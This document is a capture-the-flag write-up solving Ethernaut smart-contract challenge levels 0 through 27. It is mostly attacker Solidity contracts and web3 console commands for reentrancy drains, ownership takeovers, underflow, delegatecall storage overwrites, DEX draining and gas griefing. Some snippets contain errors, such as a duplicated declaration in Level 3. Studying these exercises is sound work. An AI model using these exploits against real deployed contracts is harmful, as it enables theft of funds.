Ethernaut brief writeup

Level 0: Hello ethernaut
1. Call await contract.info()
2. await contract.info1()
3. await contract.info2("hello")
4. await contract.infoNum() (Output 42)
5. await contract.info42()
6. await contract.theMethodName()
7. await contract.method7123949() (Output "If you know the password, submit it to authenticate()")
8. await contract.password() (Output "ethernaut0")
9. await contract.authenticate("ethernaut0")

Level 1: Fallback

```
// (1) Contribute
await contract.contribute({value: "1"})

// (2) Fallback
await contract.sendTransaction({
  from: player,
  value: "1",
  data: undefined // for the fallback
})

// (3) Confirm ownership
await contract.owner()

// (4) Withdraw
await contract.withdraw()
```

Level 2: Fallout

```
contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
```

await contract.Fal1out()

Level 3: Coin flip
Write a contract with flip function imitate logic of flip function in original contract then call flip consecutively until win

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;



// interface for target
interface CoinFlip {
  function flip(bool _guess) external returns (bool);
}

contract Attacker {
  CoinFlip coinflipTarget;
  using SafeMath for uint256;

  constructor(address _target) {
    coinflipTarget = CoinFlip(_target);
  }

  function predictFlip() public {
    uint256 blockValue =  uint256 blockValue = uint256(blockhash(block.number - 1));
    uint256 coinFlip = blockValue/57896044618658097711785492504343953926634992332820282019728792003956564819968;
    bool side = coinFlip == 1 ? true : false;

    bool result = coinflipTarget.flip(side);
    require(result, "Failed");
  }
}
```

Level 4: Telephone
Create a medium contract to differentiate tx.origin from msg.sender

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
  function changeOwner(address _owner) external;
}

contract Attacker {
  Telephone telephoneTarget;

  constructor(address _target) {
    telephoneTarget = Telephone(_target);
  }

  function pwn() public {
    require(msg.sender == tx.origin, "wrong user");
    telephoneTarget.changeOwner(tx.origin);
  }
}
```

Level 5: Token
Sending 21 token to an arbitrary address (balance 20 tokens) to create underflow, making account balance = supply

```
await contract.transfer(
  "0x0000000000000000000000000000000000000000",
  21
)
```

Level 6: Delegation
Delegate call to pwn() function in Delegate contract to become owner of Delegation contract:

```
await sendTransaction({
    from: player,
    to: contract.address,
    data: "0xdd365b8b" //4 bytes hash of function selector
})
```

Level 7: Force
Use selfdestruct method to force Ether into contract with no receive/fallback function

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
  function pwn(address _target) payable public {
    selfdestruct(payable(_target));
  }
}
```

Level 8: Vault
Get the password variable value then submit to unlock function:
await web3.eth.getStorageAt(contract.address, 1)

Level 9: King
Send ether to become the king via contract which revert on receive/fallback function, disallow the king position to be claimed

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract Attack {

  receive () external payable {
    revert();
  }

  fallback () external payable {
    revert();
  }

  function forward(address payable _to) public payable {
    (bool sent, ) = _to.call{value: msg.value}("");
    require(sent, "failed");
  }

}
```

Level 10: Reentrancy
Reentrancy: Deposit then withdraw, triggering fallback function with withdraw function inside it, until the contract is fully drained.

```
pragma solidity ^0.8.0;
import "./Reentrance.sol";
contract Attack {
    Reentrance re = Reentrance(payable(0xB4d83C165C3b6450851Eb9C60f173F487F55aedB));
    constructor() payable{
    }

    function attack() payable public {
        re.donate{value:msg.value}(address(this));

        re.withdraw(1000000000000000);
    }

    fallback() external payable{
        re.withdraw(1000000000000000);
    }
}
```

Level 11: Elevator

Modify view function (isLastFloor) to return result based on our preference

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Elevator.sol";

contract Build is Building{
    Elevator ele = Elevator(0xBEA429cb1d383eAfFA7b240b36A99faBa1256cc4);
    constructor(address send){

    }
    function isLastFloor(uint _floor) view public override returns (bool){
        if(ele.floor() == _floor){
            return true;
        }
        return false;
    }

    function goTo(uint _floor) public {
        ele.goTo(_floor);
        require(ele.top() == true, "Failed");
    }

}
```

Level 12: Privacy
Grab pass code at slot 5 (data[2]):
Const pass = await web3.eth.getStorageAt(contract.address, 5)
Cast data[2] from bytes32 -> bytes16
pass.slice(0, 2 + 32)
await contract.unlock('0x46b7d5d54e84dc3ac47f57bea2ca5f79')

Level 13: GatekepperOne

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GatekeeperOne.sol";

contract Test1{
    GatekeeperOne gate = GatekeeperOne(0xcab20CF2907205B509d703cF49F0764949c4e2D1);
    function attack () public {
        bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        for (uint16 i = 0; i < 300; i++){
            (bool result,) = address(gate).call{gas: i+8191*3}(abi.encodeWithSignature("enter(bytes8)",_gateKey));
            if (result){
                break;
            }
        }
    }
}
```

Level 14: GatekeeperTwo

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GatekeeperTwo.sol";
contract Test2{
    constructor() {
        bytes8 key = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
        address victim =  0x7518cAC4aaBf6DabFB63e9F3Bf1B413610F24a85;
        (bool result,) =victim.call(abi.encodeWithSignature("enter(bytes8)", key));
        require(result == true, "?");
    // victim.enter(key);
    }
}
```

Level 15: Naught coin
Create a contract which has been approved to spend our wallet's token then call TransferFrom

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GatekeeperOne.sol";

contract Attack{
    address erc20 = 0xC1c0529bFE63F833bc75442483AA72A8365938A4;
    function attack () public {
        (bool result, ) = erc20.call(abi.encodeWithSignature("transferFrom(address, address, uint256)",msg.sender, address(this), 1000000));
    }
}
```

Level 16: Preservation
1) Create a contract that has a function with setTime(uint256) signature. This contract should have enough storage variables so that you can overwrite owner variable in the caller's context.
2) Set the timeZone1Library address to the address of this contract via setFirstTime(<contract address>).
3) Call setFirstTime(address) again to execute custom function which can change the owner.

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

contract Bot {
    address public hi;
    address public hello;
    uint256 owner;
    function setTime(uint256 _owner) public{
        owner = _owner;
    }

}
```

Level 17: Recovery
1) Calculate the address of the lost token contract following RLP formula:
keccack256(RLP_encode(address, nonce)) or
[
  0xC0
    + 1 (a byte for string length)
    + 20 (string length itself)
    + 1 (nonce),
  0x80
    + 20 (string length),
  <20 byte string>,
  <1 byte nonce>
]

```
web3.utils.soliditySha3(
  '0xd6',
  '0x94',
  contract.address,
  '0x01'
)
```

2) Then call selfdestruct to reclaim Ether

Level 18: Magic number
Write runtime code + initialization code

Runtime code:
```
PUSH1 0x2A // 1 byte value 42 = 0x2A
PUSH1 0x80 // memory position 0x80, the first free slot
MSTORE     // stores 0x2A at 0x80
PUSH1 0x20 // to return an uint256, we need 32 bytes (not 1)
PUSH1 0x80 // position to return the data
RETURN     // returns 32 bytes from 0x80
```

=> 60 2A 60 80 52 60 20 60 80 F3

Initialization code:
```
PUSH1 0x0a // 10 bytes
PUSH1 0x0C // position in bytecode, we dont know yet
PUSH1 0x00 // write to memory position 0
CODECOPY   // copies the bytecode
PUSH1 0x0a // 10 bytes
PUSH1 0x00 // read from memory position 0
RETURN     // returns the code copied above
```

=> 60 0a 60 0C 60 00 39 60 0a 60 00 F3

Deploy contract via opcode data:
```
await web3.eth.sendTransaction({
  from: player,
  to: 0, // contract creation
  data: '0x600a600C600039600a6000F3602a60805260206080F3' // bytecodes
})
```

Level 19: Alien codex
The array length could be edit with retract() function. Find the position of the owner variable according to array.length:
type(uint256).max - uint256(keccak256(abi.encodePacked(uint256(1)))) + 1;

Hence get the position and change the value of owner:
await
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', web3.utils.padLeft(player, 64))

Level 20: Denial
As the amount of gas is not specified, all the gas are forward via call to send fund to recipient. Put an endless while loop to receive function in receiving contract to drain all gas,causing the transaction to halt.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Denial.sol";
contract Attack{
    Denial de = Denial(payable(0xaA2C21Fe99e02C9feB92077f3706D00F8D8f39cf));

    receive() external payable{
        while(true){

        }
    }

}
```

Level 21: Shop
Manipulate view function to return the price based on the status of item purchase, same with Level Elevator

```
contract BadBuyer is Buyer {
  Shop target;
  constructor(address _target) {
    target = Shop(_target);
  }

  function price() external view override returns (uint) {
    return target.isSold() ? 0 : 100;
  }

  function pwn() public {
    target.buy();
  }
}
```

Level 22: Dex One
As the liquidity is too low, the trade price could easily face high slip as the trade amount is relatively high compared to the liquidity, hence as trade happens back and forth via the DEX, tokens are drained

Loop swap script:

```
async function pwn(maxiters = 10) {
  // initial settings
  const T1 = await contract.token1()
  const T2 = await contract.token2()
  const DEX = contract.address
  const PLAYER = player
  let a, sa;
  let [t1_player, t2_player, t1_dex, t2_dex] = (await Promise.all([
      contract.balanceOf(T1, PLAYER),
      contract.balanceOf(T2, PLAYER),
      contract.balanceOf(T1, DEX),
      contract.balanceOf(T2, DEX)
    ])).map(bn => bn.toNumber())

  console.log(`
  Initial
    D1: ${t1_dex}
```

```
  D2: ${t2_dex}
  P1: ${t1_player}
  P2: ${t2_player}`)

for (i = 1; i != maxiters && t1_dex > 0 && t2_dex > 0; ++i) {
  if (i % 2) {
    // trade t1 to t2
    a = t1_player
    sa = (await contract.getSwapPrice(T1, T2, a)).toNumber()
    if (sa > t2_dex) {
      a = t1_dex
    }

    // make the call
    await contract.approve(contract.address, a)
    await contract.swap(T1, T2, a)
  } else {
    // trade t2 to t1
    a = t2_player
    sa = (await contract.getSwapPrice(T2, T1, a)).toNumber()
    if (sa > t1_dex) {
      a = t2_dex
    }

    // make the call
    await contract.approve(contract.address, a)
    await contract.swap(T2, T1, a)
  }

  // new balances
  ;[t1_player, t2_player, t1_dex, t2_dex] = (await Promise.all([
    contract.balanceOf(T1, PLAYER),
    contract.balanceOf(T2, PLAYER),
    contract.balanceOf(T1, DEX),
    contract.balanceOf(T2, DEX)
  ])).map(bn => bn.toNumber())

  console.log(
    `Trade #${i}
      D1: ${t1_dex}
```

```
        D2: ${t2_dex}
        P1: ${t1_player}
        P2: ${t2_player}
        Gave: ${a} Token ${i % 2 ? "1" : "2"}
        Took: ${sa} Token ${i % 2 ? "2" : "1"}`)

  }
}
// await pwn()
```

Level 23: Dex Two
Create 2 ERC20 token and mint them to the DEX wallet, then swap all of token1, token2 out of the contract.

```
// settings
const amount = 100
const T1 = await contract.token1()
const T2 = await contract.token2()
const T3 = "" // Token 3
const T4 = "" // Token 4

// deplete Token 1
// DEX must have 'amount' T3, and also 'amount' allowance to take T3 from you
await contract.swap(T3, T1, amount)
// deplete Token 2
// DEX must have 'amount' T4, and also 'amount' allowance to take T4 from you
await contract.swap(T4, T2, amount)
```

Level 24:
Unstructure proxy storage => storage collision when delegatecall

slot	proxy	logic
0	`pendingAdmin`	`owner`
1	`admin`	`maxBalance`
2		`whitelisted` (map)
3		`balances` (map)

1) Become the owner by set new pendingAdmin=> Whitelist self address to interact with contract
2) Drain contract balance to setMaxBalance => set new admin

1) Overwrite owner/pendingAdmin

```
const functionSelector = '0xa6376746'; // proposeNewAdmin(address)
await web3.eth.sendTransaction({
  from: player,
  to: contract.address,
  data: web3.utils.encodePacked(functionSelector, web3.utils.padLeft(player, 64))
})
// confirm that it worked
if (player == (await contract.owner())) {
  // whitelist ourselves
  await contract.addToWhitelist(player)
}
```

2) Reentrancy drain wallet balance

```
// contract balance
const _b = web3.utils.toWei(await getBalance(contract.address))
// 2 times contract balance
const _2b = web3.utils.toBN(_b).add(web3.utils.toBN(_b))
await contract.multicall([
  // first deposit
  (await contract.methods["deposit()"].request()).data,
  // multicall for the second deposit
  (await contract.methods["multicall(bytes[])"].request([
    // second deposit
    (await contract.methods["deposit()"].request()).data
```

])).data,
// withdraw via execute
(await contract.methods["execute(address,uint256,bytes)"].request(player, _2b,
[])).data
],
{value: _b})

3) setAdmin/maxBalance
await contract.setMaxBalance(web3.utils.hexToNumberString(player))
// see that admin value is overwritten
await web3.eth.getStorageAt(contract.address, 1)

Level 25: Motorbike
The logic contract is initialize via delegate call => The initialization is not recognized => Attack by self initialization of logic contract Engine => call selfdestruct via delegatecall to attack contract
=> Motorbike cannot delegatecall to logic contract anymore

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IEngine {
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
    function initialize() external;
}
contract Bot {
    IEngine engine = IEngine(0x8Eef2fd9340E22662bC49f2199d998fb2049a829);
    bytes data = abi.encodeWithSignature("doom()");
    function attack() payable public{
        engine.initialize();
        engine.upgradeToAndCall{value:msg.value}(address(this),data);
    }

    function doom() public{
        selfdestruct(payable(0x1ea62698b1673835E816Fc7EC0c1d39B244fefd7));
    }


}
```

Level 26: Double Entry Point
The DET token could be swept if someone call sweepToken function of vault with address of LegacyToken => Create bot to detect the OrigSender => Raise alert if the address overlap with vault address

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "@openzeppelin/contracts/utils/Address.sol";
interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}
contract Bot is IDetectionBot {
    IForta forta = IForta(0x4860E416aac8C2517F4dac556D90e40029601697);
    address vault;
    function setVault(address _vault) public{
        vault = _vault;
    }
    function handleTransaction(address user, bytes calldata msgData) override external{
        (, , address origSender) = abi.decode(msgData[4:],(address,uint256,address));
        if (origSender == vault) {
            forta.raiseAlert(0x1ea62698b1673835E816Fc7EC0c1d39B244fefd7);
        }
    }
}
```

Level 27: Good samaritan
Create receiving contract with revert NotEnoughBalance when receiving notification from GoodSamaritan contract => trigger function to drain all wallet balance

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

// interface to call target function
interface IGoodSamaritan {
  function requestDonation() external returns (bool enoughBalance);
}

contract Attack {
  // error signature will be taken from here
  error NotEnoughBalance();

  // entry point for our attack, simply requests a donation
  function pwn(address _addr) external {
      IGoodSamaritan(_addr).requestDonation();
  }

  // notify is called when this contract receives coins
  function notify(uint256 amount) external pure {
    // only revert on 10 coins
    if (amount == 10) {
        revert NotEnoughBalance();
    }
  }
}
```